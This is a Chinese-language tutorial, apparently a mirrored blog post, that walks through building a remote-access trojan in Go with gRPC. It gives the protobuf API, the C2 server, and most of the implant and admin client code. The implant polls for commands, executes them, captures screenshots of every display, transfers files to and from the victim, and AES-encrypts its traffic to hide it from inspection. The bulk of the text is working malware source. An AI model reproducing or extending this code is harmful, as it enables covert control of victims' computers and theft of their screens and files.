6

基于gRPC编写golang简单C2远控 - newbe3three

 2 years ago
source link: https://www.cnblogs.com/newbe3three/p/gotoexec.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

基于gRPC编写golang简单C2远控

构建一个简单的远控木马需要编写三个独立的部分:植入程序、服务端程序和管理程序。

植入程序是运行在目标机器上的远控木马的一部分。植入程序会定期轮询服务器以查找新的命令,然后将命令输出发回给服务器。

管理程序是运行在用户机器上的客户端,用于发出实际的命令。

服务端则负责与植入程序和客户端的交互,接收客户端的指令,并在植入程序请求时,将命令发送给植入程序,随后将植入程序发送来的结果传递给客户端。

image

这里通过gRPC构建所有的网络交互。

关于gRPC、Protobuf、protoc请参考https://www.zhihu.com/question/286825709

gRPC是由google创建的一个高性能远程过程调用(RPC)框架。RPC框架允许客户端通过标准和定义的协议与服务器进行通信,而不必了解底层的任何细节。gRPC基于HTTP/2运行,以一种高效的二进制结构传递消息。gRPC默认的序列方式是Protobuf。

定义和构造gRPC API

这里使用Protobufs来定义API

Service

在proto文件中定义了两个service,分别对应植入程序服务端和管理程序服务端。

在植入程序服务中,定义了三个方法FetchCommandSendOutputGetSleepTime

FetchCommand:将从服务器检索所有为执行的命令

SendOutput:会将一个Command消息发送服务器

GetSleepTime:从服务端检索sleep时间间隔

在管理程序服务中,定义的两个方法RunCommandSetSleepTime

RunCommand:接收一个Command消息作为参数,并期望获读回一个Command消息

SetSleepTime:向服务器发送一个SleepTime消息作为时间间隔

Message

最后看到定义的三个message CommandSleepTimeEmpty

Command:消息中的两个参数分别代表了输入的命令和命令对应的结果。都为string类型,要说明的是后面两个数字是代表了消息本身两个字段出现的偏移量,也就是In将首先出现,然后是Out。

SleepTime:唯一 一个字段就是用来标明休眠时间间隔的

Empty:用来代替null的空消息 定义这个Empty类型是由于gRPC不显式地允许空值

syntax = "proto3";
package grpcapi;
option go_package = "./grpcapi";
service Implant {
  rpc FetchCommand (Empty) returns (Command);
  rpc SendOutput (Command) returns (Empty);
  rpc GetSleepTime(Empty) returns (SleepTime);
}

service Admin {
  rpc RunCommand (Command) returns (Command);
  rpc SetSleepTime(SleepTime) returns (Empty);
}

//Command消息包含两个字段,一个用于维护操作系统的命令;一个用于维护命令执行的输出
message Command {
  string In = 1;
  string Out = 2;
}
message SleepTime {
  int32 time = 1;
}

//Empty 用来代替null的空消息 定义这个Empty类型是由于gRPC不显式地允许空值
message Empty {
}
编译proto文件

对于Golang使用如下命令编译.proto文件。会根据你的.proto文件生成Go文件。

这个生成的新文件回包含Protobuf模式中创建的服务和消息的结构和结构体定义。后续将利用它构造服务端、植入程序和客户端。

protoc --go_out=./ --go-grpc_opt=require_unimplemented_servers=false --go-grpc_out=./ *.proto

创建服务端

首先,创建两个结构体adminServerimplantServer,它们都包含两个Command通道,用于发送和接收命令以及命令的输出。这两个结构体会实现gRPC API中定义的服务端接口。并且需要为这两个结构体定义辅助函数NewAdminServerNewImplantServer,用于创建新的实例,可以确保通道正确的初始化。

type implantServer struct {
	work, output chan *grpcapi.Command
}

type adminServer struct {
	work, output chan *grpcapi.Command
}

func NewImplantServer (work, output chan *grpcapi.Command) *implantServer {
	s := new(implantServer)
	s.work = work
	s.output = output
	return  s
}
func NewAdminServer (work, output chan *grpcapi.Command) *adminServer {
	s := new(adminServer)
	s.work = work
	s.output = output
	return  s
}

implantServer

对于植入程序服务端,需要实现的方法有FetchCommand()SendOutput()GetSleepTime()

FetchCommand:植入程序将调用方法FetchCommand作为一种轮询机制,它会询问“有工作给我吗?”。在代码中,将根据select语句,当work通道中有数据时会从中读取数据到实例化的Command中,并返回。如果没有读取到数据,就会返回一个空的Command。

func (s *implantServer) FetchCommand(ctx context.Context, empty *grpcapi.Empty) (*grpcapi.Command, error) {
	var cmd = new(grpcapi.Command)
	select {
	case cmd, ok := <-s.work:
		if ok {
			return cmd, nil
		}
		return cmd, errors.New("channel closed")
	default:
		return cmd, nil
	}
}

SendOutput:将接收一个Command,其中包含了从植入程序中获取的命令执行的结果。并将这个Command推送到output通道中,以便管理程序的后续读取。

func (s *implantServer) SendOutput (ctx context.Context, result *grpcapi.Command) (*grpcapi.Empty, error) {
	s.output <- result
	fmt.Println("result:" + result.In + result.Out)
	return &grpcapi.Empty{}, nil
}

*GetSleepTime:植入程序在每次sleep之前就会调用此方法,向服务端询问sleep的时间。这个方法将返回从变量sleepTIme中读取到的数据。

func (s *implantServer) GetSleepTime(ctx context.Context, empty *grpcapi.Empty) (*grpcapi.SleepTime, error) {
	time := new(grpcapi.SleepTime)
	time.Time = sleepTime
	return time,nil
}

adminServer

对于管理程序服务端,需要实现的方法有RunCommandSetSleepTime

RunCommand:该方法接收一个尚未发送到植入程序的Command,它表示管理程序希望在植入程序上执行的工作。并将工作发送给work通道。因为使用无缓冲的通道,该操作将会阻塞程序的执行,但同时又需要从output通道中接收数据,因此使用goroutine将工作放入work通道中。

调用这个方法时,会将命令发送给服务端,并等待植入程序执行完后的发送回的结果。

func (s *adminServer) RunCommand(ctx context.Context, cmd *grpcapi.Command) (*grpcapi.Command, error)  {
	fmt.Println(cmd.In)
	var res *grpcapi.Command
	go func() {
		s.work <- cmd
	}()

	res = <- s.output

	return res, nil
}

SetSleepTime:管理程序客户端调用此方法,将从命令行输入的时间发送给服务端后,设置到sleepTIme变量中

func (s *adminServer) SetSleepTime(ctx context.Context, time *grpcapi.SleepTime) (*grpcapi.Empty, error) {
	sleepTime = time.Time
	return &grpcapi.Empty{}, nil
}

main函数部分

main函数首先使用相同的work和output通道实例化implantServer和adminServer。通过相同的通道实例,可以是管理程序服务端和植入程序服务端通过此共享通道进行通信。

接下来,为每个服务启动网络监听器,将implantListener绑定到1961端口,将adminListener绑定到1962端口。最后创建两个gRPC服务器。

func main()  {
	var (
		implantListener, adminListener net.Listener
		err 					   error
		opts					   []grpc.ServerOption
		work, output			   chan *grpcapi.Command
	)
	work, output = make(chan *grpcapi.Command), make(chan *grpcapi.Command)
	//植入程序服务端和管理程序服务端使用相同的通道
	implant := NewImplantServer(work, output)
	admin := NewAdminServer(work, output)
	//服务端建立监听,植入服务端与管理服务端监听的端口分别是1961和1962
	if implantListener,err = net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", 1961)); err != nil {
		log.Fatalln("implantserver"+err.Error())
	}
	if adminListener,err = net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", 1962)); err != nil {
		log.Fatalln("adminserver"+err.Error())
	}
    //服务端设置允许发送和接收数据的最大限制
	opts = []grpc.ServerOption{
		grpc.MaxRecvMsgSize(1024*1024*12),
		grpc.MaxSendMsgSize(1024*1024*12),
	}
		grpcAdminServer, grpcImplantServer := grpc.NewServer(opts...), grpc.NewServer(opts...)

	grpcapi.RegisterImplantServer(grpcImplantServer, implant)
	grpcapi.RegisterAdminServer(grpcAdminServer, admin)
	//使用goroutine启动植入程序服务端,防止代码阻塞,毕竟后面还要开启管理程序服务端
	go func() {
		grpcImplantServer.Serve(implantListener)
	}()
	grpcAdminServer.Serve(adminListener)
}

创建植入程序和管理程序

	// WithInsecure 忽略证书
	opts = append(opts, grpc.WithInsecure())
	//设置发送和接收数据的最大限制
	opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(1024 * 1024 * 12 )))
	opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallSendMsgSize(1024 * 1024 * 12)))
	//连接到指定服务器的指定端口
	if conn,err = grpc.Dial(fmt.Sprintf("127.0.0.1:%d",1961), opts...); err != nil {
		log.Fatal(err)
	}
	defer conn.Close()
	client = grpcapi.NewImplantClient(conn)

	ctx := context.Background()
	//使用for循环来轮询服务器
	for {
		var req = new(grpcapi.Empty)
		cmd, err := client.FetchCommand(ctx, req)
		if err != nil {
			log.Fatal(err)
		}
		 //如果没有要执行的命令就进入sleep
		if cmd.In == "" {
			//sleep之前向服务器询问sleep的时间
			t,_ := client.GetSleepTime(ctx,req)
			fmt.Println("sleep"+t.String())
			time.Sleep(time.Duration(t.Time)* time.Second)
			continue
		}
		//从服务端获取到命令后先进行解密处理
		command, _ := util.DecryptByAes(cmd.In)
        //根据空格截取命令
        tokens := strings.Split(string(command), " ")
    .......
    }
	//	设置命令行参数
	flag.IntVar(&sleepTime,"sleep",0,"sleep time")
	flag.StringVar(&session,"session","","start session")
	flag.StringVar(&ip,"ip","127.0.0.1","Server IP")
	flag.StringVar(&port,"port","1961","Server IP")
	flag.Parse()
	
	if session != "" {
     	//输入session参数,并且参数值为start,开执行命令
		if session == "start" {
             // WithInsecure 忽略证书
            opts = append(opts, grpc.WithInsecure())
            //设置发送和接收数据的最大限制
            opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(1024 * 1024 * 12 )))
            opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallSendMsgSize(1024 * 1024 * 12)))
            //连接到指定服务器的指定端口
            if conn,err = grpc.Dial(fmt.Sprintf("%s:%s",ip, port),opts...);
            err != nil {
                log.Fatal(err)
            }
            defer conn.Close()
            client = grpcapi.NewAdminClient(conn)
			fmt.Println("start exec:")
            //通过for循环来不断向控制台输入命令
			for {
				var cmd = new(grpcapi.Command)
				//go中scan、scanf、scanln在输入时都会将空格作为一个字符串的结束,因此不能使用这些来键入我们的命令
                //获取用户输入的命令
				reader := bufio.NewReader(os.Stdin)
				command, _, err := reader.ReadLine()
				if nil != err {
					fmt.Println("reader.ReadLine() error:", err)
				}
                //根据空格截取输入的命令,以进行后续的判断
                flags := strings.Split(string(command)," ")
            ......
      	} else {
			fmt.Println("please input start")
		}
	}
sleep时间

自定义回连时间:也就是允许自定义植入程序轮询服务器的时间间隔。

植入程序这里轮询时间间隔是通过sleep函数实现的,而实现自定义这个功能则是植入程序在sleep之前会向服务端询问sleep的时间。

 //如果没有要执行的命令就进入sleep
if cmd.In == "" {
//sleep之前向服务器询问sleep的时间
	t,_ := client.GetSleepTime(ctx,req)
	fmt.Println("sleep"+t.String())
	time.Sleep(time.Duration(t.Time)* time.Second)
	continue
}

管理程序客户端可以通过命令行参数sleep来设置休眠时间,单位为秒。

	//根据命令行键入sleep参数的值进行设置sleep时间,如果没有键入sleep参数默认为0
	if sleepTime != 0 {
		var time = new(grpcapi.SleepTime)
		time.Time = int32(sleepTime)
		ctx := context.Background()
		client.SetSleepTime(ctx,time)
	}

截图功能实现

截图功能借助于 github.com/kbinani/screenshot 实现

植入端获取到截图命令后,会先获取当前屏幕的数量,并根据顺序进行截图,并将图片存放到[]byte字节切片中,进行加密编码后发出。

	//输入的命令为screenshot 就进入下面的流程
		if tokens[0] == "screenshot" {
			images := util.Screenshot()
			for _,image := range images {
				result,_ := util.EncryptByAes(util.ImageToByte(image))
				cmd.Out += result
				cmd.Out += ";"
			}
			client.SendOutput(ctx, cmd)
			continue
		}
//util.Screenshot() 截图
func Screenshot() []*image.RGBA {
	var images []*image.RGBA
	//获取当前活动屏幕数量
	i := screenshot.NumActiveDisplays()
	if i == 0 {

	}
	for j :=0; j <= i-1; j++ {
		image,_ := screenshot.CaptureDisplay(j)
		images = append(images, image)
	}
	return images
}
//util.ImageToByte() 图片转字节切片
func ImageToByte(image *image.RGBA) []byte{
	buf := new(bytes.Buffer)
	png.Encode(buf,image)
	b := buf.Bytes()
	return b
}

上传文件,要求输入的格式为 upload 本地文件 目标文件

管理程序会根据输入的本地文件,将本地文件读取到[]byte字节切片当中,并进行AES加密和BASE64编码。也就是说最终向服务端传递的数据将变成经过加密、编码后的字符串。这里会将这个字符串存放在Command.Out中。这里可能游戏额难以理解,command.Out不是用来存放执行结果的吗?其实在服务端中,会将管理程序客户端的命令放到work中,然后将植入程序执行完以后会才会将结果封装在command.Out,而在这之前command.Out是空的。这里上传文件实际上是在管理程序客户端时“借用”command.Out的位置,将要上传的数据与上传命令一起发送给植入程序。

这里根据前面提到的,设置最大上传数据为12MB,但要注意的上传文件会经过aes加密与base64编码,因此12MB指经过加密后的数据大小,实际上允许上传的数据要小于12MB。下载同理。

if flags[0] == "upload" {
	if len(flags) != 3 || flags[2] == "" {
		fmt.Println("输入格式为:upload 本地文件 目标文件")
		continue
	}
	file, err := os.ReadFile(flags[1])
	if err != nil {
		fmt.Println(err.Error())
		continue
	}
    //将数据存放在Command.Out中
	cmd.Out,err = util.EncryptByAes(file)
	if err != nil {
		log.Fatal(err.Error())
	}
	cmd = Run(cmd,command,client)
	out,err := util.DecryptByAes(cmd.Out)
	if err != nil {
		log.Fatal(err.Error())
	}
	fmt.Println(string(out))
	continue
}

植入端程序将根据cmd.in中输入的命令判断是否为上传指令。判断为上传指令后,将会对cmd.out中保存的字符串数据进行解密后写入到用户指定的目标文件当中。

//匹配上传命令
if tokens[0] == "upload" {
	file,_ := util.DecryptByAes(cmd.Out)
	err := os.WriteFile(tokens[2],file,0666)
	if err != nil{
		cmd.Out,_ = util.EncryptByAes([]byte(err.Error()))
		client.SendOutput(ctx, cmd)
	} else {
		cmd.Out,_ = util.EncryptByAes([]byte("upload success!"))
		client.SendOutput(ctx, cmd)
	}

	continue
}

下载文件, 要求输入的格式为download 目标文件 本地文件

客户端将下载命令发送给服务端。客户端会从cmd.out中读取到数据后解密,并根据用户输入的本地文件写入文件。

if flags[0] == "download" {
	if len(flags) != 3 || flags[2] == "" {
		fmt.Println("输入格式为:download 目标文件 本地文件")
		continue
	}
    //发送命令
	cmd = Run(cmd,command,client)
	file, err := util.DecryptByAes(cmd.Out)
	if err != nil {
		log.Fatal(err.Error())
	}
	if string(file[0:13]) == "download err!" {
		fmt.Println(string(file[0:13]))
		continue
	}
	err = os.WriteFile(flags[2],file,0666)
	if err != nil {
		fmt.Println(err.Error())
	}else {
		fmt.Println("download success! Path:" + flags[2])
	}
	continue
}

当植入程序询问到该命令之后,会将用户输入的目标文件读取到[]byte字节切片当中,与上传文件类似地,进行加密编码以字符串形式存放到cmd.Out中经服务端发送给客户端。

//匹配下载命令
if tokens[0] == "download" {
	file,err := os.ReadFile(tokens[1])
	if err != nil {
		cmd.Out,_ = util.EncryptByAes([]byte("download err! "+err.Error()))
		client.SendOutput(ctx, cmd)
	}else {
		cmd.Out,_ = util.EncryptByAes(file)
		_,err2 := client.SendOutput(ctx, cmd)
		if err2 != nil {
			fmt.Println(err2.Error())
		}
	}

	continue
}

go的编码是UTF-8,而CMD的活动页是GBK编码的,因此使用GoLang进行命令执行时,对于命令执行结果返回的中文会产生乱码的现象。

虽然在植入程序中会执行命令,但是在通过植入程序再向服务端发送结果时由于包含乱码,植入程序向服务端发送的数据为空。(因此服务端就没有接收这个数据),result中没有数据,所以植入程序的服务端在向output输入数据时会阻塞。由于管理服务端和植入程序服务端共享通道,output中没有数据,进而引发管理服务端也阻塞(直到output中有数据)。

中文乱码问题的解决依赖于golang.org/x/text/encoding/simplifiedchinese

当然在解决掉乱码问题后,这一问题也就消失了。

type Charset string

const (
	UTF8 = Charset("UTF-8")
	GB18030 = Charset("GB18030")
)

func ConvertByte2String(byte []byte, charset Charset) string {

	var str string
	switch charset {
	case GB18030:
		decodeBytes, _ := simplifiedchinese.GB18030.NewDecoder().Bytes(byte)
		str = string(decodeBytes)
	case UTF8:
		fallthrough
	default:
		str = string(byte)
	}

	return str
}

对于所有的C2程序都应该加密其网络流量,这对于植入程序和服务器之间的通信尤为重要。通过截取流量,可以看到植入程序和服务端的数据是明文的。对于解决这个问题,可以提供得是两种选择,一是对我们传输得数据进行加密如异或、AES加密,在传输过程中使用密文传递;二是使用TLS技术。

如下为未加密前流量

image
image

当前使用AES+BAES64编码来进行加密

aes加密和base64编码参考:https://blog.csdn.net/dodod2012/article/details/117706402

管理程序客户端获取到用户从命令行键入的命令,将对这个命令进行base64+aes加密,再发送给服务端。服务端接收到这个消息后,直接将消息写入通道中。

待植入程序客请求服务端时,就会读取到这段密文,进行解密后执行命令,并将执行的结果进行加密发送给服务端。最终管理程序会从结果通道中读取到执行的结果,解密后并进行编码格式的转变,输出到控制台。这相比于明文传输就安全多了。如下为加密后的流量

image

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK